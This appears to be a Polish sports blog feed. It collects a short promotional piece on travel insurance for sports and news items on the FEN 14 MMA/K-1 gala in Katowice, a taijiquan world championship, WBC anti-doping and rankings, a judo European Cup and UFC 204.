Ubezpieczenie podczas uprawiania sportu. Jest bardzo istotny element, na który koniecznie trzeba zwrócić uwagę. Podstawowe ubezpieczenia najczęściej nie obejmują wielu aktywności uznawanych choćby za amatorskie czy też wyczynowe uprawianie sportu. Najpopularniejszym przykładem są tutaj narty, które w typowych rozwiązaniach wymagają specjalnych rozszerzeń w zależności od intensywności uprawiania (rekreacja, treningi, zawody) lub miejsca w którym zamierzamy jeździć (przygotowane trasy, jazda po puchu). Koszty związane z wypadkami narciarskimi są zazwyczaj wysokie i dlatego powinniśmy pamiętać o tego typu ubezpieczeniu kiedy podczas ferii zimowych wybieramy się na stoki. Koniecznie też należy zwrócić uwagę na ubezpieczony rodzaj uprawianego sportu.

Ochrona bagażu wydaje się mało istotnym elementem. Nic bardziej mylnego. Takie ubezpieczenie jest stałym elementem pakietów lub opcją do wyboru. Jest niezwykle przydatne w sytuacji kradzieży bądź zgubienia lub uszkodzenia bagażu. Wtedy to można liczyć na pokrycie kosztów zakupu utraconych a niezbędnych do kontynuowania wyjazdu rzeczy. Pokryje ono poniesione straty. Oczywiście zawsze należy zwracać uwagę jak bagaż przechowujemy. W jaki sposób powinniśmy to robić określają warunki ubezpieczenia.

Warto również zwrócić uwagę na ubezpieczenie sprzętu sportowego czy odpowiedzialności cywilnej (OC). Te elementy również potrafią być bardzo przydatne i powinno się wybierać opcje w których występują.

Jeśli nie masz zbyt dużo cennego czasu na bieganie po placówkach ubezpieczycieli to wykup ubezpieczenia turystyczne online. Można to zrobić na znanej wszystkim stronie http://nrnf.pl/. Jest to rzetelna firma oferująca gotowe pakiety ubezpieczeń. W szybki i bezpieczny sposób można ubezpieczyć siebie i swoją rodzinę.

Sarara mistrzem, Szymański traci tytuł

Podczas gali FEN 14 w katowickim Spodku można było zobaczyć praktycznie wszystko. Potężne ciosy, nokauty i efektowne poddania. Pas mistrzowski organizacji w K-1 w kategorii cruiser wywalczył Tomasz Sarara. Z tytułem w wadze lekkiej pożegnał się Roman Szymański.

W większości walk nie było zbędnej kalkulacji. Zaimponował Joilton Santos, który został nowym mistrzem FEN. Swoją klasę potwierdzili także aktorzy głównego widowiska, czyli Tomasz Sarara i Dennis Stolzenbach.

Efektowni mistrzowie, mocny Hadaś

Głównym wydarzeniem gali FEN 14 było starcie o tytuł w kategorii cruiser K-1. Tomasz Sarara i Dennis Stolzenbach to utytułowani i doświadczeni zawodnicy. W Katowicach potwierdzili swoje umiejętności. Zaczęli spokojnie. Holender dobrze spisywał się w obronie. W drugiej rundzie poszedł do przodu, czym sprawił nieco problemów Polakowi. Czas Sarary nadszedł w trzeciej odsłonie. 31-latek mocnym front kickiem pokazał rywalowi, że musi mieć się na baczności. Holender nie miał zamiaru się bronić. Nadal był agresywny i szukał kontaktu. Stolzenbach przeważał w czwartej rundzie, jednak w kolejnej Sarara dobrze trzymał gardę i wyprowadzał celne ciosy. Walka niezwykle wyrównana, zacięta i mordercza. Doświadczeni zawodnicy przetrwali pięć rund, w których wcale się nie oszczędzali. Werdykt był sporą niewiadomą. Tytuł trafił do Tomasza Sarary.

W Katowicach doszło do długo wyczekiwanej walki pomiędzy Pawłem Brandysem a Pawłem Hadasiem w MMA. Od początku nie brakowało ciosów, co mogło podobać się publiczności. Ruchliwością imponował 30-letni Hadaś, który miał minimalną przewagę. Przede wszystkim pojedynek toczył się w parterze. W drugiej rundzie Hadaś nie pozwolił Brandysowi na zbyt wiele. Dominował w parterze, a rywal tracił siły. 30-latek wykorzystał to w trzeciej rundzie, gdy wyczuł słabość 22-letniego przeciwnika. Duszenie zza pleców okazało się zabójczą bronią. Hadaś mógł cieszyć się z drugiej wygranej na FEN przed czasem.

Roman Szymański stanął przed zadaniem obrony pasa mistrzowskiego wagi lekkiej FEN, jednak pojedynek nie potoczył się po jego myśli. Joilton Santos w przekroju całej walki zaimponował konsekwencją. Brazylijczyk dążył do tego, aby wykorzystać swoje umiejętności parterowe. Już w pierwszej rundzie zapisał na swoim koncie sprowadzenie. Szymański nie był w stanie mu zagrozić, jednak w drugiej rundzie błysnął. Polak wstał, po przetoczeniu znalazł się w lepszym położeniu. Kontrolował walkę i obijał rywala. W trzeciej odsłonie Santos pokazał, że jego atutem jest również siła. Mocny cios w stójce zrobił wrażenie na Szymańskim. Czwarta runda to dominacja Brazylijczyka, który obijał Polaka. Ten starał się znaleźć wyjście z sytuacji, ale bezskutecznie. Do końca Szymańskiemu nie udało się niczym zaskoczyć rywala. W piątej rundzie sędzia odjął Brazylijczykowi punkt, ale nie miało to znaczenia. W przekroju całej walki wyglądał lepiej, co miało odzwierciedlenie w ostatecznym rezultacie. Sędziowie wskazali na Santosa, który został nowym mistrzem FEN. 

Okazji do zachwytu nie brakowało

Wielkie pojedynki w K-1! Kamil Jenel nie dał żadnych szans Pavlowi Oboznemu. Receptą na sukces okazały się low kicki. Już w pierwszej rundzie Czech dwa razy leżał na deskach. W drugiej odsłonie Jenel znokautował rywala. Efektowne widowisko stworzyli Paweł Biszczak i Tomasz Gromadzki. Obaj zawodnicy zaimponowali przygotowaniem kondycyjnym, siłą, a przede wszystkim wytrzymałością. Nie brakowało efektownych wymian. Do rozstrzygnięcia potrzebna była runda dodatkowa. Po niej ze zwycięstwa mógł cieszyć się Biszczak.

Podczas gali w katowickim Spodku nie brakowało efektownych rozstrzygnięć w pojedynkach na zasadach MMA. Po raz kolejny zaimponował Tyberiusz Kowalczyk. Były strongman ma fantastyczny bilans walk w FEN – trzy walki i 100-procentowa skuteczność. W Katowicach marsz „Tyberiana” chciał powstrzymać Tomasz Czerwiński. 40-latek już w pierwszej rundzie musiał odklepać. Po wymianie ciosów w stójce, pojedynek toczył się w parterze. Kowalczyk okazał się bezlitosny dla rywala. Udany debiut w FEN zaliczył Martin Chudej. Czech był o ponad 10 kilogramów cięższy od Akopa Szostaka i wykorzystał tę przewagę. Szybko ruszył na Polaka, zamroczył go i niemiłosiernie okładał pod siatką. Sędzia był zmuszony przerwać walkę. Szostak przegrał drugą walkę z rzędu.

Z dobrej strony pokazał się Albert Odzimkowski, który w drugiej rundzie zmusił Mateusza Strzelczyka do poddania. Sposobem na zwycięstwo okazało się duszenie zza pleców. Bezlitosny dla rywala okazał się Andrzej Grzebyk. W pierwszej rundzie Polak udowodnił swoją wyższość nad Alexeyem Repalovem. Grzebyk wykorzystał fakt, że Białorusin znalazł się na plecach i słał kolejne ciosy z góry. Repalov nie był w stanie wyjść do drugiej rundy. 

W karcie wstępnej znalazły się dwa pojedynki MMA. Kamil Selwa na punkty okazał się lepszy od Piotra Olszynki. Efektownie zaprezentował się Łukasz Stanek, który w drugiej rundzie zmusił do poddania Adriana Błeszyńskiego.

KM

Zbliżają się mistrzostwa świata taijiquan

W Pruszkowie odbędą się zmagania o medale mistrzostw świata taijiquan. To druga impreza w historii. Pierwszy czempionat odbył się dwa lata temu w Chinach.

Warto nadmienić, że taijiquan w związku z ogromną popularnością zostało wydzielone z systemów walk wushu. Widzowie mogą skupić swoją uwagę na efektownych pokazach. Najbliższa okazja, aby polska publiczność mogła zapoznać się w elementami taijiquan już 17-20 października w pruszkowskiej hali Znicz. Wstęp na mistrzostwa świata jest wolny.

Chińska tradycja

Aby zagłębić się i poznać taijiquan należy udać się do Chin, które słyną z systemów walki. Przede wszystkim ważna jest harmonia między ciałem a umysłem. Warto również wspomnieć o ogromnym szacunku dla przeciwnika. Na świecie taijiquan trenują miliony osób, jednak zwracają uwagę na aspekt rekreacyjny. W Pruszkowie będzie okazać zobaczyć zawodników, którzy opanowali tę sztukę walki do perfekcji.

Polska aktywnie działa w obszarze wushu już od kilkunastu lat. – Środowisko polskiego wushu rozwija się od lat 80. W 1983 roku powstało Polskie Zrzeszenie Kung Fu/Wushu, które było jednocześnie stowarzyszeniem zrzeszającym szkoły kung fu. Polski Związek Wushu powstał w 2002 roku – przedstawił podczas konferencji prasowej przed mistrzostwami świata Dariusz Piwowarski, prezes Polskiego Związku Wushu.

Walka o organizację imprezy była zażarta. Polska stoczyła bój m.in. z Indonezją, Rosją i Włochami. Wyszła z niego zwycięsko. – Przez kilka ostatnich lat występowaliśmy o zorganizowanie imprezy rangi mistrzostw świata. Taka szansa pojawiła się w ubiegłym roku. Złożyliśmy aplikację do Międzynarodowej Federacji Wushu o organizację tych zawodów. W listopadzie przyznano nam imprezę. Są to pierwsze zawody rangi mistrzostw świata, które odbywają się w Polsce. Do tej pory tylko Bułgaria organizowała tego typu zawody. W tym roku odbyły się tam mistrzostwa świata juniorów wushu. Mówimy tu o krajach Unii Europejskiej. Tai-chi jest jednym z najbardziej rozpoznawalnych systemów wushu na całym świecie – powiedział Piwowarski.

Walka o medale

W Pruszkowie zaprezentuje się ponad 300 zawodników w kilkunastu konkurencjach. Nie zabraknie efektownych pokazów, w których pojawi się broni m.in. kij, sztylet czy włócznia. Warto wspomnieć, że w taijiquan może spotkać zawodników zróżnicowanych wiekowo. Tu nie ma żadnych barier. 

Ceremonia otwarcia odbędzie się 16 października o godz. 19.00. Już kolejne dnia na starcie pojawią się zawodnicy, którzy rozpoczną zmagania o 9.00.

Nie zabraknie Polaków, którzy zdobywali już medal na mistrzowskich imprezach. Ewa Solarz to medalistka poprzednich mistrzostw świata. W Chengdu sięgnęła po brąz. Tym razem również powalczy o miejsce na podium, oprócz niej zobaczymy m.in. Annę Kubiak, Monikę Steckiewicz czy Bohdana Sawczyna.

KM

Latający talerz czeka na wojowników

Już 15 października katowicki Spodek będzie gościł aktorów gali FEN 14 Silesian Rage. Arena doskonale zna smak mistrzowskich imprez, jednak niedawno przeszła modernizację i gotowa jest przyjąć ponad 10 tysięcy widzów. Gwiazdy MMA i K-1 chcą zapełnić trybuny.

Organizacja Fight Exclusive Night nie zwalnia tempa. W Katowicach odbędzie się już piąty tegoroczny event FEN. Prezentowanie walk MMA i K-1 jest niezwykle ciekawe i budzi entuzjazm publiczności, która żadną jest wielkiego widowiska.

Jeden broni, drugi powalczy

Nie ma, co ukrywać, że zawsze wszyscy spoglądają na sam szczyt. Walki wieczoru budzą największy entuzjazm i to na te pojedynki czeka się z największą niecierpliwością. W Katowicach mistrzowskiego pasa FEN w wadze lekkiej będzie bronił Roman Szymański. 23-latek tytuł wywalczył podczas gali FEN 11 Warsaw Time, kiedy stoczył morderczą pięciorundową walkę z Marianem Ziółkowskim. Polak nie przegrał kolejnych ośmiu walk. Teraz jest mistrzem i musi bronić swojej zdobyczy. Atak na pas przeprowadzi Brazylijczyk Joulton Santos. W tym roku 23-latek walczył tylko raz i przegrał przed czasem. Santos jest wyższy od mistrza FEN, ale na przygotowania do walki miał mniej czasu. Początkowo Szymański miał walczyć z Davy Gallonem. Musi stawić czoła Brazylijczykowi i udowodnić swoją wartość.

Jeden z najlepszych zawodników wagi cruiser K-1 Tomasza Sarara ponownie zaprezentuje się na gali FEN. Tym razem Polak powalczy o mistrzowski pas. Jego rywalem będzie Dennis Stolzenbach, który zdobywał tytuły mistrzowskie IKBA. Obaj mają ogromne doświadczenie. Pojedynek w wadze 95kg to starcia fighterów, którzy łącznie stoczyli 100 walk. Holender wygrał aż 41 pojedynków, z kolei Sarara triumfował 33 razy. To pokazuje, że spotkają się zawodnicy o nieprzeciętnym poziomie umiejętności.

Paweł Hadaś kroczy od zwycięstwa do zwycięstwa. W kolejnym pojedynku na zasadach MMA zmierzy się z Pawłem Brandysem, dla którego będzie to debiut w organizacji FEN. 22-latek może okazać się trudnym przeciwnikiem dla Hadasia, który w styczniu przed czasem pokonał Aleksandra Rychlika. Brandys to niezwykle ruchliwy i nastawiony ofensywnie fighter. Hadaś również przyzwyczaił widzów do widowisk walk. Może być gorąco!

Paweł Biszczak urósł do miana gwiazdy organizacji FEN. Zaprawiony w bojach kickboxer w walce w limicie 77kg zmierzy się z Tomaszem Gromadzkim. „Zadyma” trenuje kickboxing dopiero… pięć lat, ale sporty walki ma we krwi. Wcześniej uprawiał karate i boks. Na rozkładzie ma takich zawodników jak Janu Malkriado Cruz czy Pavel Obozny. W starciu z Biszczakiem będzie musiał wspiąć się na wyżyny.

Zmiana u Tyberiana

Początkowo Tyberiusz Kowalczyk miał na FEN 14 walczyć z Kamilem Bazelakiem, jednak ten z powodu kontuzji musiał wycofać się z rywalizacji. Były strongman w starciu „ciężkich” w MMA zmierzy się z Tomaszem Czerwińskim. Czy Tyberian po raz kolejny rozprawi się z rywalem? Dotychczasowe dwie walki dla FEN wygrał przed czasem.

Debiut w organizacji FEN zaliczył Martin Chudej. 34-latek zmierzy się z Akopem Szostakiem, który będzie chciał się zrehabilitować za marcową porażkę z Kowalczykiem. Albert Odzimkowski stoczy kolejny pojedynek dla FEN, tym razem na zasadach MMA zmierzy się z Mateuszem Strzelczykiem, z kolei Alexey Repalov będzie rywalizował z Andrzejem Grzebykiem. W K-1 Pavel Obozny spotka się z Kamilem Jenelem.

Warto wspomnieć o dwóch pojedynkach, które znalazły się w karcie wstępnej. Na zasadach MMA w 77kg Łukasz Stanek zmierzy się z Adrianem Błeszyńskim, a w 61kg Piotr Olszynka z Kamilem Selwą. 

KM

FEN 14 Silesian Rage – rozkład jazdy

Federacja Fight Exclusive Night przedstawia kalendarium wydarzeń podczas FEN 14 Fight Week:

środa, 12 października, godz. 14, Centrum Olimpijskie PKOl , Wybrzeże Gdańskie 4, Warszawa

  • konferencja prasowa z udziałem bohaterów walk wieczoru gali FEN 14 Silesian Rage: Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, a także Akopa Szostaka, Pawła Hadasia i Pawła Brandysa oraz szefów federacji FEN Pawła Jóźwiaka i Rafała Sawickiego

czwartek, 13 października, godz. 15, Jatomi Fitness w Silesia City Center, ul. Chorzowska 107, Katowice

  • oficjalny media trening z udziałem Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, Pawła Hadasia, Tomasza Gromadziego, Pavla Oboźnego, Kamila Jenela, Martina Chudeja, Łukasza Stanka i Piotr Olszynki
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

 

piątek, 14 października, godz. 17, hala Spodek, al. Korfantego 35, Katowice

  • oficjalna ceremonia ważenia z udziałem wszystkich zawodników walczących na gali FEN 14 Silesian Rage 
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

sobota, 15 października, godz. 18, hala Spodek, al. Korfantego 35, Katowice

  • gala FEN 14 Silesian Rage
  • otwarcie bram hali o godz. 17
  • kasy biletowe w hali Spodek będą czynne od godz. 15
  • bilety online: www.Eventim.pl i www.KupBilet.pl, bilety VIP: tel. 601  877 229
  • transmisja na żywo w telewizji Polsat Sport Fight i na platformie www.Ipla.tv (od godz. 19 – karta wstępna, karta główna, walki wieczoru), Polsat Sport (od godz. 20 – karta główna, walki wieczoru) i Polsat (godz. 00:00 – walki wieczoru)
  • akredytacje dziennikarskie można uzyskać, wypełniając formularz na stronie www.fen-mma.com/akredytacje lub na platformie www.accredito.com/fen – termin nadsyłania zgłoszeń upływa w piątek, 14 października, o godz. 16

sobota, 15 października, godz. 22, Marquee Club & Restaurant, ul. Mickiewicza 4, Katowice

  • FEN After Party z udziałem zawodników, władz federacji FEN, FEN Ring Girls, hostess oraz gości VIP 
  • rezerwacja wejściówek: tel. 576 219 123 

Panowie prosimy o zgłoszenia

Afery dopingowe paraliżują świat sportu. Wpadki kolejnych mistrzów powodują, że coraz więcej osób wątpi w sprawiedliwą i równą rywalizacją. Bokserska federacja WBC wprowadziła Clean Boxing Program.

Pięściarze mieli czas do wtorku tj. 11 października, żeby składać formularze w programie antydopingowym. Problem w tym, że nie wszyscy zgłosili chęć uczestnictwa.

Rzucić wyzwanie dopingowi

Federacja WBC chce, aby rywalizacja była czysta. Przede wszystkim liczy się dbałość o szczegóły i zminimalizowanie ryzyka, że któryś z bokserów zdecyduje się sięgnąć po niedozwolone środki. Skutecznym narzędziem ma okazać się Clean Boxing Program. Przez cały rok prowadzone będą niezapowiedziane kontrole antydopingowe. Federacja wystosowała prośbę do wszystkich mistrzów świata oraz sklasyfikowanych w pierwszej piętnastce swoich rankingów. Wystarczyło wypełnić odpowiedni formularz.

Nie wszyscy bokserzy spełnili wymagania WBC. Do programu nie dołączył były mistrz świata WBA w kategorii ciężkiej oraz WBC, WBA i WBO w kategorii junior ciężkiej David Haye. Zgłoszeń nie wysłali również były czempion wagi półciężkiej Jean Pascal, pięściarz kategorii lekkopółśredniej Lamont Peterson czy też Gabriel Rosado rywalizujący w wadze średniej. 

Niektórzy starają się tłumaczyć brak zgłoszeń. Powodem ma być… niewiedza. Tak miało być w przypadku Felixa Verdejo, który uchodzi za wielki talent wagi lekkiej. 23-latek został usunięty z list WBC. Wśród tych, którzy nie zgłosili się do programu wymieniano również Amira Khana. Ostatecznie bokser poinformował, że wysłał swoje zgłoszenie.

Warto nadmienić, że do programu przystąpili Polacy klasyfikowani przez WBC m.in. Artur Szpilka i Krzysztof Głowacki.

Październikowe rankingi

Przy okazji sprawy dotyczącej programu antydopingowe WBC warto pochylić się nad najnowszym rankingiem federacji. W październikowym notowaniu znalazło się trzynastu polskich pięściarzy.

Najlepiej wygląda sytuacja naszych pięściarzy, którzy rywalizują w wadze junior ciężkiej. Po dwóch wygranych w tym roku Krzysztof Włodarczyk może pochwalić się trzecią pozycją. Były mistrz świata Krzysztof Głowacki zajmuje ósmą pozycję, a Mateusz Masternak jest jedenasty. Dwudziestą pozycję zajmuje niepokonany Michał Cieślak.

Na listy WBC powrócił Artur Szpilka, który w wadze ciężkiej jest na 9. miejscu. Mariusz Wach zajmuje 12. pozycję, Andrzej Wawrzyk 16, a Izuagbe Ugonoh znalazł się na 39. lokacie. W wadze półciężkiej najwyżej znalazł się Andrzej Fonfara (7), a w średniej Maciej Sulęcki (13).

KM

ZAPROSZENIE NA KONFERENCJĘ PRASOWĄ PRZED GALĄ FEN 14 SILESIAN RAGE

Organizacja Fight Exclusive Night serdecznie zaprasza na konferencję prasową poświęconą zbliżającej się gali FEN 14 Silesian Rage z udziałem głównych bohaterów tej zapowiadającej się wyjątkowo emocjonująco imprezy.

Konferencja prasowa „face to face” odbędzie się w najbliższą środę, 12 października 2016 r., o godz. 14 w Sali A na parterze Centrum Olimpijskiego PKOl im. Jana Pawła II przy Wybrzeżu Gdyńskim 4 w Warszawie.

Podczas konferencji po raz pierwszy twarzą w twarz staną ze sobą zawodnicy, którzy już w sobotę, 15 października, w katowickim Spodku będą walczyć o pasy mistrzowskie federacji FEN: broniący tytułu mistrza w formule MMA w wadze lekkiej Roman Szymański i jego rywal Joilton Peregrino Santos z Brazylii oraz utytułowani kickbokserzy Tomasz Sarara i Holender Dennis Stolzenbach, których czeka pierwszy w historii pojedynek o tytuł mistrza FEN w K-1 wagi cruiser.

Oprócz nich podczas spotkania z prasą prosto w oczy spojrzą sobie także uczestnicy poprzedzającego walki wieczoru starcia na zasadach MMA – utalentowani fighterzy Paweł Hadaś i Paweł Brandys. W konferencji uczestniczyć będzie również dobrze znany Akop Szostak, który na gali FEN 14 Silesian Rage zmierzy się z Czechem Martinem Chudejem, oraz włodarze organizacji FEN – prezes Paweł Jóźwiak i wiceprezes Rafał Sawicki.

Na konferencję prasową w miejscu najściślej związanym z polskim sportem zapraszamy nie tylko przedstawicieli mediów, ale także sympatyków sportów walki, bowiem spotkanie będzie miało charakter otwarty.

Dziennikarzy prosimy o potwierdzenie udziału w konferencji mailowo na adres a.furyk@fen-mma.com. Jednocześnie zachęcamy też do składania wniosków o akredytację na galę FEN 14 Silesian Rage na stronie federacji FEN: fen-mma.com/akredytacje lub w systemie Accredito: accredito.com/fen.

Więcej informacji na temat federacji Fight Exclusive Night oraz gali FEN 14 znajdą Państwo w załączonej prezentacji. Oficjalny trailer zawodów w Spodku można obejrzeć na fanpage’u FEN na Facebooku lub kanale FEN na Youtube.

W imieniu zarządu Fight Exclusive Night

Adam Furyk
FEN press officer
tel. 502 433 940

fen-mma.com
facebook.com/FightExclusiveNight

Repalov kontra Grzebyk na gali FEN 14 Silesian Rage

Białoruski zawodnik MMA Alexey Repalov dołączy do karty walk gali FEN 14 Silesian Rage, która odbędzie się już 15 października w Katowicach. 32-letni fighter z Bobrujska zmierzy się z utalentowanym polskim zawodnikiem Andrzejem Grzebykiem reprezentującym Legion Team Tarnów.

Nazwisko Białorusina jest jedną z ostatnich niespodzianek w fight cardzie świetnie zapowiadającej się gali w katowickim Spodku. Jest on doskonale znany polskim fighterom, bowiem wielokrotnie krzyżował rękawice z czołowymi postaciami polskiego MMA, m.in. z jednym z najlepszych zawodników FEN Pawłem Żelazowskim, któremu uległ w 2012 roku. Czy Repalov zrobił od tego czasu postępy? Wiele na to wskazuje, ponieważ w ostatnim występie w walce wieczoru gali Wolgaster Kampfkunst 1 pokonał innego mocnego Polaka Mateusza Zieleńskiego. Co ciekawe, było to jego pierwsze zwycięstwo na punkty w karierze – wcześniejsze swoje wygrane walki Repalov kończył już w pierwszych rundach.

25-letni Andrzej Grzebyk nie będzie miał łatwego zadania, tym bardziej, że wraca po blisko rocznej przerwie i leczeniu kontuzji odniesionej w wypadku samochodowym jeszcze przed jego ostatnią walką z Alessio di Chirico na gali FEN 9 Go For It we Wrocławiu. Z tego powodu pojedynek z Włochem, który obecnie walczy w oktagonie UFC, był dla niego wyjątkowo ciężki, ale zdaniem wielu to nie Polak powinien wychodzić z klatkoringu przegrany. Grzebyk uległ rywalowi na kartach punktowych i w sobotę na gali FEN 14 Silesian Rage wyniku walki na pewno nie będzie chciał zostawiać w rękach sędziów. Pochodzący z Rzeszowa, ale trenujący w Tarnowie zawodnik to jeden z najzdolniejszych i najbardziej bojowych przedstawicieli polskiego MMA i teraz, kiedy jest już zdrowy, pełnię swego talentu i umiejętności postara się pokazać w Katowicach.

Zobacz walkę Andrzeja Grzebyka z Alessio Di Chirico

Serdecznie zapraszamy wszystkich sympatyków sportów walki na to polsko-białoruskie starcie, przypominając, że w karcie walk gali FEN 14 Silesian Rage znalazły się cztery inne międzynarodowe pojedynki, m.in. Romana Szymańskiego z Brazylijczykiem Joiltonem Santosem o tytuł mistrza organizacji w formule MMA oraz Tomasza Sarary z Holendrem Dennisem Stolzenbachem o pas mistrzowski w formule K-1. Nie zabraknie także innych gwiazd federacji FEN, takich jak Akop Szostak, Tyberiusz Kowalczyk, Tomasz Gromadzki, Paweł Biszczak i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Polaków próżno szukać na podium

Bez zdobyczy medalowej wracają nasi judocy z Belgradu, gdzie odbyły się zmagania w Pucharze Europy. Najlepszy wynik zanotowała Anita Formela (+78kg), która uplasowała się na piątej pozycji.

W Belgradzie szansę na zebranie doświadczenia otrzymali nasi młodzieżowcy. Do stolicy Serbii udała się piętnastoosobowa kadra Polski. 

Blisko medalu

Spośród naszych judoków, którzy pojechali do Belgradu na pierwszy plan wysuwała się Anita Formela. 19-latka może pochwalić się wywalczeniem w tym roku brązowego medalu mistrzostw Europy juniorów. Dwa lata temu zdobyła tytuł wicemistrzyni Europy kadetów. 

W tegorocznych startach na poziomie juniorskim Formela prezentowała równą i stabilną formę, choć nie udało jej się wskoczyć na podium w Pucharach Europy. Dostała szansę zaprezentowania się w Serbii i była o krok od medalu. W Belgradzie na korzyść Polki przemawiał fakt, że w kategorii +78kg wystąpiło tylko osiem zawodniczek. Formela stoczyła trzy pojedynki, z których tylko jeden zakończył się jej zwycięstwem. W walce o brązowy medal nasza zawodniczka przegrała przez ippon z Katariną Luciją Vuković.

Dużo zdrowia w Belgradzie pozostawiła Aleksandra Langiewicz (63kg). 22-latka stoczyła aż pięć wyczerpujących walk. Na początek, dzięki karom shido wygrała z Alexandrą Barton, a następnie szybko rozłożyła na łopatki Jennifer Schwille. Polka wygrała przez ippon i była na najlepszej drodze do strefy medalowej. Diana Dzhigaros okazała się przeszkodą nie do przejścia i w niecałą minutę odprawiła Langiewicz. Rosjanka triumfowała w Belgradzie, a 22-letnia Polka ze zmiennym szczęściem rywalizowała w repasażach i ostatecznie zajęła siódmą lokatę.

Wśród naszych panów najlepiej zaprezentował się Karol Kurzej (81kg). W tym roku 23-latek stał już na trzecim stopniu Pucharu Europy w Podcetrtek, z kolei w Tallinie zajął siódmą lokatę. Wynik ze stolicy Estonii powtórzył w Belgradzie. Kurzej początek miał wymarzony –  dwie walki i dwa ippony. W trzeciej walce przed czasem przegrał z Nickiem Kellijem. Wiele sił kosztowało go spotkanie w repasażach z Stefanem Majdovem. Serb zdobył waza-ari i o wynik rywalizacji trzeba było drżeć do końca. Polak mógł się cieszyć ze zwycięstwa, gdyż zapisał na swoim koncie waza-ari i yuko. Marzeń o medalu Kurzeja pozbawił Milan Koller.

Warto również wspomnieć o występach Adriana Wala (60kg) i Mariusz Kruegera (100kg). Obaj zajęli dziewiąte lokaty.

Dominacja Rosjan

Bezapelacyjnie w Belgradzie najlepsi okazali się Rosjanie, którzy wywalczyli 14 medali, w tym aż 8 złotych. Drugie miejsce w klasyfikacji przypadło Niemcom, którzy wywalczyli cztery krążki. Podium uzupełnili Serbowie z pięcioma medali, ale tylko jednym złotym.

W Belgradzie zaprezentowało się 331 judoków.

KM

Tomasz Czerwiński nowym rywalem Tyberiana na gali FEN 14 Silesian Rage

Z powodu połamanych podczas walki na gali FCC 17 w Manchesterze żeber Kamil Bazelak zmuszony był wycofać się z pojedynku z Tyberiuszem Kowalczykiem na gali FEN 14 Silesian Rage. Kontuzjowanego zawodnika w sobotę w katowickim Spodku w starciu z „Tyberianem” zastąpi inny potężny fighter Tomasz Czerwiński.

41-letni Tomasz Czerwiński pochodzi z Poznania, ale od dawna mieszka i trenuje w podlondyńskim Luton. Polak przez lata nazywany był „polskim Butterbeanem” z racji fizycznego podobieństwa do słynnego amerykańskiego zawodnika (ważył niegdyś ponad 140 kg), ale dziś wygląda bardziej jak wyczynowy kulturysta i zdecydowanie lepiej pasują do niego inne jego sportowe pseudonimy, jak Big T czy Polish Monster. Czerwiński większość zawodowych walk w formule MMA stoczył na Wyspach Brytyjskich, ale występował także w Rumunii, na galach największej tamtejszej organizacji Real Xtreme Fighting. Właśnie w Bukareszcie odniósł swoje dwa ostatnie zwycięstwa, pokonując debiutującego w mieszanych sztukach walki Petru „Cyborga” Ursachiego i gwiazdę rumuńskiego MMA, ważącego ponad 160 kg Alexandra Lungu. Do największych sukcesów Polaka zaliczyć należy także wywalczone w 2012 roku tytuły mistrza wagi ciężkiej federacji Fury MMA i mistrza wagi ciężkiej federacji Cage Fighters Championships.

Jego rywal Tyberiusz Kowalczyk przez wiele lat był jednym z najlepszych i najbardziej rozpoznawalnych strongmanów w Polsce, gwiazdą Pucharu Polski Strongman oraz mistrzostw Polski i Europy. W 2005 roku triumfował w czwartej edycji drużynowych zawodów Polska kontra Reszta Świata, a dwa lata później zdobył tytuł Mistrza Europy Centralnej Strongman w Parach i Mistrza Polski Strongman A-Nowi. Po zakończeniu imponującej kariery siłacza poświęcił się sportom walki. „Tyberian” w klatkoringu Fight Exclusive Night walczył dotąd dwa razy, dwukrotnie błyskawicznie i efektownie pokonując swoich rywali. Na gali FEN 3 War Is Coming już w 48. sekundzie ciosami pięściami posłał na deski Litwina Tomasa Vaicickasa, a na gali FEN 11 Warsaw Time równie szybko potężnymi uderzeniami i kopnięciami znokautował Akopa Szostaka.

15 października na gali FEN 14 Silesian Rage w pozostałych pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński. W walkach na zasadach K-1 kibice zobaczą starcie Tomasza Sarary z  Dennisem Stolzenbachem o tytuł mistrza FEN wagi cruiser oraz pojedynki z udziałem Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Tylko Stasiak może być zadowolony

W Manchesterze podczas gali UFC 204 zaprezentowało się trzech Polaków, jednak tylko Damian Stasiak ma powody do zadowolenia. „Webster” odniósł efektowne zwycięstwo w starciu z Davey'em Grantem. Daniel Omielańczuk i Łukasz Sajewski zanotowali porażki.

Stasiak odniósł drugie zwycięstwo w trzeciej walce dla UFC. Po raz kolejny polski fighter efektownie zakończył rywalizację.

Sukces jednego, smutek pozostałych

Stasiak musiał wykazać się cierpliwością w starciu z Davey'em, które nie należało do łatwych. Przez dwie rundy trwała zacięta walka. Raz w stójce, raz w parterze, jednak żaden z zawodników nie potrafił przeprowadzić decydującej akcji. Wydawało się, że Anglik jest o krok od znokautowania Polaka, jednak ten wyszedł cało z opresji. Trzecia runda pod dyktando Stasiaka. „Webster” potwierdził wysokie umiejętności w parterze. Założył rywalowi balachę, która okazała się zabójczo skuteczna. Anglik musiał odklepać, żeby nie cierpieć. Stasiak odniósł drugie zwycięstwo z UFC i ponownie triumfował przed czasem. W kwietniu w Zagrzebiu już w pierwszej rundzie pokonała Filipa Pejicia.

